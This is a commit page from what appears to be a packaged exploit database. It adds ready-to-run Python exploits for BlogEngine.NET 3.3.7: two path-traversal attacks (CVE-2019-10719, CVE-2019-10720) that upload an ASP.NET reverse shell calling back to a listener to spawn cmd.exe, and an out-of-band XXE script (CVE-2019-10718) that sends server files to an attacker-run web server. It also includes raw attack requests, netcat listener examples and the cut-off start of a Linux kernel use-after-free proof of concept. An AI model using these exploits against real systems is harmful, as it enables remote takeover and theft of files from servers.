Commit 22e89622 authored by Devon Kearns's avatar Devon Kearns

Update upstream source from tag 'upstream/20190625'

Update to upstream version '20190625'
with Debian dir e7d57f3557fb5fe99c4a3b8033c1430a8cbd96bb
parents 739bf0e6 9aa5c212
# Exploit Title: Directory Traversal + RCE on BlogEngine.NET
# Date: 17 Jun 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10719
#1. Description
#==============
#BlogEngine.NET is vulnerable to an Directory Traversal on `/api/upload` which allows a RCE through the `theme` parameter.
#2. Proof of Concept
#=============
#Using an account that has permissions to Edit Posts, upload a malicious file called `PostView.ascx`; exploit the directory traversal to upload the shell into the **/Custom/Themes** #directory:
#~~~
#POST /api/upload?action=filemgr&dirPath=%2f..%2f..%2fCustom%2fThemes%2fRCE_Test HTTP/1.1
#Host: $RHOST
#User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
#Accept: text/plain
#Accept-Language: en-US,en;q=0.5
#Accept-Encoding: gzip, deflate
#Cookie: XXX
#Connection: close
#Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063
#Content-Length: 2085
#-----------------------------12143974373743678091868871063
#Content-Disposition: form-data; filename="PostView.ascx"
#<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
#<%@ Import Namespace="BlogEngine.Core" %>
#<script runat="server">
#static System.IO.StreamWriter streamWriter;
# protected override void OnLoad(EventArgs e) {
# base.OnLoad(e);
#using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", 4445)) {
#using(System.IO.Stream stream = client.GetStream()) {
#using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
#streamWriter = new System.IO.StreamWriter(stream);
#StringBuilder strInput = new StringBuilder();
#System.Diagnostics.Process p = new System.Diagnostics.Process();
#p.StartInfo.FileName = "cmd.exe";
#p.StartInfo.CreateNoWindow = true;
#p.StartInfo.UseShellExecute = false;
#p.StartInfo.RedirectStandardOutput = true;
#p.StartInfo.RedirectStandardInput = true;
#p.StartInfo.RedirectStandardError = true;
#p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
#p.Start();
#p.BeginOutputReadLine();
#while(true) {
#strInput.Append(rdr.ReadLine());
#p.StandardInput.WriteLine(strInput);
#strInput.Remove(0, strInput.Length);
# } } } } }
# private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
# StringBuilder strOutput = new StringBuilder();
# if (!String.IsNullOrEmpty(outLine.Data)) {
# try {
# strOutput.Append(outLine.Data);
# streamWriter.WriteLine(strOutput);
# streamWriter.Flush();
#} catch (Exception err) { }
# }
# }
#</script>
#<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
#-----------------------------12143974373743678091868871063--
#~~~
#The RCE can be triggered by setting the **theme** parameter to **RCE_TEST**: $RHOST/?theme=RCE_Test
#==============================
import argparse
import io
import json
import os
import re
import requests
import sys
"""
Exploit for CVE-2019-10719
CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop
Upload and trigger a reverse shell
python exploit.py -t 192.168.10.9 -l 192.168.10.10:1337
Open a listener to capture the reverse shell - Metasploit or netcat
nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.10.10] from (UNKNOWN) [192.168.10.9] 49680
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
"""
urls = {
"login": "/Account/login.aspx",
"traversal": "/api/filemanager"
}
def make_request(session, method, target, params={}, data={}, files={}):
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
if method == 'GET':
r = requests.Request(method, target, params=params)
elif method == 'POST':
if files:
r = requests.Request(method, target, files=files)
else:
r = requests.Request(method, target, data=data)
prep = session.prepare_request(r)
resp = session.send(prep, verify=False, proxies=proxies)
return resp.text
def login(session, host, user, passwd):
resp = make_request(session, 'GET', host+urls.get('login'))
login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp)
login_data = dict([(i[0],i[2]) for i in login_form])
login_data.update({'ctl00$MainContent$LoginUser$UserName': user})
login_data.update({'ctl00$MainContent$LoginUser$Password': passwd})
resp = make_request(session, 'POST', host+urls.get('login'), data=login_data)
def upload_shell(session, target, shell_dir, listener):
try:
lhost, lport = listener.split(':')
except:
print(target, " is not in the correct HOST:PORT format")
sys.exit(1)
shell = '''<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
static System.IO.StreamWriter streamWriter;
protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("''' + lhost + '''", ''' + lport + ''')) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
streamWriter = new System.IO.StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
} catch (Exception err) { }
}
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
'''
make_request(session, "POST", target + "/api/upload?action=filemgr&dirPath=~/App_Data/files/../../Custom/Themes/" + shell_dir, files={"file": ("PostView.ascx".format(shell_dir=shell_dir), shell, "application/octet-stream")})
def trigger_shell(session, target, shell_dir):
make_request(session, "GET", target + "/", params={"theme": shell_dir})
def main(target, user, passwd, shell_dir, listener):
with requests.Session() as session:
login(session, target, user, passwd)
upload_shell(session, target, shell_dir, listener)
trigger_shell(session, target, shell_dir)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit CVE-2019-10719 Path traversal + RCE')
parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host')
parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account with file upload permissions on blog')
parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account')
parser.add_argument('-d', '--dir', nargs='?', default="RCE", help='Theme Directory to write Reverse shell too')
parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL")
parser.add_argument('-l', '--listener', action="store", help="Host:Port combination reverse shell should back to - 192.168.10.10:1337")
args = parser.parse_args()
protocol = "https://" if args.ssl else "http://"
main(protocol + args.target, args.user, args.passwd, args.dir, args.listener)
\ No newline at end of file
# Exploit Title: Directory Traversal + RCE on BlogEngine.NET
# Date: 17 Jun 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10720
#1. Description
#==============
#BlogEngine.NET is vulnerable to a Directory Traversal through the **theme** cookie which triggers a RCE.
#2. Proof of Concept
#=============
#Using an account that has permissions to Edit Posts, upload a malicious file called `PostView.ascx`:
#~~~
#POST /api/upload?action=filemgr HTTP/1.1
#Host: $RHOST
#User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
#Accept: text/plain
#Accept-Language: en-US,en;q=0.5
#Accept-Encoding: gzip, deflate
#Cookie: XXX
#Connection: close
#Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063
#Content-Length: 2085
#-----------------------------12143974373743678091868871063
#Content-Disposition: form-data; filename="PostView.ascx"
#<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
#<%@ Import Namespace="BlogEngine.Core" %>
#<script runat="server">
#static System.IO.StreamWriter streamWriter;
# protected override void OnLoad(EventArgs e) {
# base.OnLoad(e);
#using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", 4445)) {
#using(System.IO.Stream stream = client.GetStream()) {
#using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
#streamWriter = new System.IO.StreamWriter(stream);
#StringBuilder strInput = new StringBuilder();
#System.Diagnostics.Process p = new System.Diagnostics.Process();
#p.StartInfo.FileName = "cmd.exe";
#p.StartInfo.CreateNoWindow = true;
#p.StartInfo.UseShellExecute = false;
#p.StartInfo.RedirectStandardOutput = true;
#p.StartInfo.RedirectStandardInput = true;
#p.StartInfo.RedirectStandardError = true;
#p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
#p.Start();
#p.BeginOutputReadLine();
#while(true) {
#strInput.Append(rdr.ReadLine());
#p.StandardInput.WriteLine(strInput);
#strInput.Remove(0, strInput.Length);
# } } } } }
# private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
# StringBuilder strOutput = new StringBuilder();
# if (!String.IsNullOrEmpty(outLine.Data)) {
# try {
# strOutput.Append(outLine.Data);
# streamWriter.WriteLine(strOutput);
# streamWriter.Flush();
#} catch (Exception err) { }
# }
# }
#</script>
#<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
#-----------------------------12143974373743678091868871063--
#~~~
#Trigger the RCE by setting the **theme** cookie to **../../App_Data/files/2019/06/** and browsing to any page on the application; authentication is not required to trigger the RCE.
=================================
import argparse
import io
import json
import os
import re
import requests
import sys
"""
Exploit for CVE-2019-10719
CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop
Upload and trigger a reverse shell
python exploit.py -t 192.168.10.9 -l 192.168.10.10:1337
Open a listener to capture the reverse shell - Metasploit or netcat
nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.10.10] from (UNKNOWN) [192.168.10.9] 49680
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
"""
urls = {
"login": "/Account/login.aspx",
"traversal": "/api/filemanager"
}
def make_request(session, method, target, params={}, data={}, files={}):
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
if method == 'GET':
r = requests.Request(method, target, params=params)
elif method == 'POST':
if files:
r = requests.Request(method, target, files=files)
else:
r = requests.Request(method, target, data=data)
prep = session.prepare_request(r)
resp = session.send(prep, verify=False, proxies=proxies)
return resp.text
def login(session, host, user, passwd):
resp = make_request(session, 'GET', host+urls.get('login'))
login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp)
login_data = dict([(i[0],i[2]) for i in login_form])
login_data.update({'ctl00$MainContent$LoginUser$UserName': user})
login_data.update({'ctl00$MainContent$LoginUser$Password': passwd})
resp = make_request(session, 'POST', host+urls.get('login'), data=login_data)
def upload_shell(session, target, listener):
try:
lhost, lport = listener.split(':')
except:
print(target, " is not in the correct HOST:PORT format")
sys.exit(1)
shell = '''<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
static System.IO.StreamWriter streamWriter;
protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("''' + lhost + '''", ''' + lport + ''')) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
streamWriter = new System.IO.StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
} catch (Exception err) { }
}
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
'''
make_request(session, "POST", target + "/api/upload?action=filemgr", files={"file": ("PostView.ascx", shell, "application/octet-stream")})
def trigger_shell(session, target):
import datetime
now = datetime.datetime.now().strftime("%Y/%m/")
requests.get(target + "/", cookies={"theme": "../../App_Data/files/{}".format(now)})
def main(target, user, passwd, listener):
with requests.Session() as session:
login(session, target, user, passwd)
upload_shell(session, target, listener)
trigger_shell(session, target)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit CVE-2019-10720 Path traversal + RCE')
parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host')
parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account with file upload permissions on blog')
parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account')
parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL")
parser.add_argument('-l', '--listener', action="store", help="Host:Port combination reverse shell should back to - 192.168.10.10:1337")
args = parser.parse_args()
protocol = "https://" if args.ssl else "http://"
main(protocol + args.target, args.user, args.passwd, args.listener)
\ No newline at end of file
# Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET
# Date: 19 June 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10718
#1. Description
#==============
#BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity
#Injection attack on **/pingback.axd**.
#2. Proof of Concept
#=============
#Host the following malicious DTD on a web server that is accessible to the
#target system:
#~~~
#<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
#<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/X?%p1;'>"> %p2
#~~~
#Submit a request to `pingback.axd` containing a malicious XML body:
#~~~{command="REQUEST"}
#POST /pingback.axd HTTP/1.1
#Host: $RHOST
#Accept-Encoding: gzip, deflate
#Connection: close
#User-Agent: python-requests/2.12.4
#Accept: */*
#Content-Type: text/xml
#Content-Length: 131
#<?xml version="1.0"?>
#<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
#<foo>&e1;</foo>
#<methodName>pingback.ping</methodName>
#~~~
#The application will request the remote DTD and submit a subsequent request
#containing the contents of the file:
#~~~
#$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 -
#$RHOST - - [17/May/2019 12:03:32] "GET
#/X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1
#HTTP/1.1" 200 -
#~~~
#! /usr/bin/env python3
import argparse
import http.server
import json
import multiprocessing
import os
import re
import requests
import sys
import time
import urllib
"""
Exploit for CVE-2019-10718
CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop
Submit a XML to the target, get the contents of the file in a follow up request from the target
python3 CVE-2019-10718.py --rhost http://$RHOST --lhost $LHOST --lport $LPORT --files C:/Windows/win.ini C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config C:/inetpub/wwwroot/iisstart.htm C:/Windows/iis.log C:/Users/Public/test.txt
Requesting C:/Windows/win.ini ...
$RHOST - - [16/May/2019 17:07:25] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:25] "GET /X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 200 -
Requesting C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config ...
$RHOST - - [16/May/2019 17:07:26] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config
Requesting C:/inetpub/wwwroot/iisstart.htm ...
$RHOST - - [16/May/2019 17:07:30] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/inetpub/wwwroot/iisstart.htm
Requesting C:/Windows/iis.log ...
$RHOST - - [16/May/2019 17:07:34] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Windows/iis.log
Requesting C:/Users/Public/test.txt ...
$RHOST - - [16/May/2019 17:07:38] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:38] "GET /X?This%20is%20a%20test HTTP/1.1" 200 -
"""
xml = """<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{lhost}:{lport}/ex.dtd">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>
"""
dtd = """<!ENTITY % p1 SYSTEM "file:///{fname}">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://{lhost}:{lport}/X?%p1;'>"> %p2;
"""
proxies = {
"http": "127.0.0.1:8080",
"https": "127.0.0.1:8080"
}
file_queue = multiprocessing.Queue()
response_queue = multiprocessing.Queue()
response_counter = multiprocessing.Value('i', 0)
class S(http.server.SimpleHTTPRequestHandler):
server_version = 'A Patchey Webserver'
sys_version = '3.1415926535897932384626433832795028841971693993751058209749445923078'
error_message_format = 'Donde esta la biblioteca?'
def _set_headers(self):
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.end_headers()
def do_GET(self):
if self.path.endswith(".dtd"):
self._set_headers()
self.wfile.write(dtd.format(fname=file_queue.get(), lhost=self.lhost, lport=self.lport).encode('utf-8'))
elif self.path.startswith("/X"):
self._set_headers()
response_counter.value += 1
response_queue.put(self.path)
self.wfile.write('<response>Thanks</response>'.encode('utf-8'))
else:
self._set_headers()
self.wfile.write('<error>?</error>')
def start_server(lhost, lport, server):
httpd = http.server.HTTPServer((lhost, lport), server)
httpd.serve_forever()
def main(rhost, lhost, lport, files, timeout, proxy, output_dir):
print(output_dir)
if not output_dir:
return
for f in files:
file_queue.put_nowait(f)
server = S
server.lhost, server.lport = lhost, lport
p = multiprocessing.Process(target=start_server, args=(lhost,lport,server))
p.start()
for num, f in enumerate(files):
print("\nRequesting {} ...".format(f))
count = 0
r = requests.post(rhost + "/pingback.axd", data=xml.format(lhost=lhost, lport=lport), proxies=proxies if proxy else {}, headers={"Content-Type": "text/xml"})
response = True
while num == response_counter.value:
if count >= timeout:
response = False
response_counter.value += 1
print("Unable to read {}".format(f))
break
time.sleep(1)
count += 1
if response:
os.makedirs(output_dir, exist_ok=True)
with open("{}/{}".format(output_dir, os.path.splitdrive(f)[1].replace(':','').replace('/','_')), 'w') as fh:
fh.write(urllib.parse.unquote(response_queue.get()).replace('/X?',''))
p.terminate()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit CVE-2019-10718 OOB XXE')
parser.add_argument('-r', '--rhost', action="store", dest="rhost", required=True, help='Target host')
parser.add_argument('-l', '--lhost', action="store", dest="lhost", required=True, help='Local host')
parser.add_argument('-p', '--lport', action="store", dest="lport", type=int, required=True, help='Local port')
parser.add_argument('-f', '--files', nargs='+', default="C:/Windows/win.ini", help='Files to read on RHOST')
parser.add_argument('-t', '--timeout', type=int, default=3, help='How long to wait before moving on to next file')
parser.add_argument('-x', '--proxy', dest="proxy", action="store_true", default=False, help='Pass requests through a proxy')
parser.add_argument('-o', '--output', nargs='?', default="./CVE-2019-10718", help='Output directory. Default ./CVE-2019-10718')
args = parser.parse_args()
if isinstance(args.files, str):
args.files = [args.files]
main(args.rhost, args.lhost, args.lport, args.files, args.timeout, args.proxy, args.output)
\ No newline at end of file
/*
When a #BR exception is raised because of an MPX bounds violation, Linux parses
the faulting instruction and computes the linear address of its memory operand.
If the userspace instruction is in 32-bit code, this involves looking up the
correct segment descriptor and adding the segment offset to the address.
(Another codepath that computes the linear address of an instruction is UMIP,
but I think that requires processors >= Cannon Lake, and my PC isn't that new.)
get_desc() locks the mm context, computes the pointer to the LDT entry, but then
drops the lock again and returns the pointer. This means that when the caller
actually accesses the pointer, the pointer may have been freed already.
This bug was introduced in
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=670f928ba09b>
("x86/insn-eval: Add utility function to get segment descriptor", first in 4.15).
To make this easier to hit, I patched a sleep into my kernel:
================
diff --git a/arch/x86/lib/insn-eval.c b/arch/x86/lib/insn-eval.c
index cf00ab6c66210..5d9c59a28c76f 100644
--- a/arch/x86/lib/insn-eval.c
+++ b/arch/x86/lib/insn-eval.c
@@ -7,6 +7,7 @@
#include <linux/string.h>
#include <linux/ratelimit.h>
#include <linux/mmu_context.h>
+#include <linux/delay.h>
#include <asm/desc_defs.h>
#include <asm/desc.h>
#include <asm/inat.h>
@@ -670,6 +671,8 @@ unsigned long insn_get_seg_base(struct pt_regs *regs, int seg_reg_idx)
if (!desc)
return -1L;
+ mdelay(1000);
+
return get_desc_base(desc);
}
================
I also built the kernel with KASAN and full preemption.
Then I ran the following test program, compiled with
"gcc -m32 -mmpx -fcheck-pointer-bounds -o mpx mpx.c -pthread":
===============
*/
#define _GNU_SOURCE
#include <ucontext.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/prctl.h>
#include <err.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <pthread.h>
unsigned long blah;
void post_bounds_label(void);
static void do_ldt(void) {
struct user_desc desc = {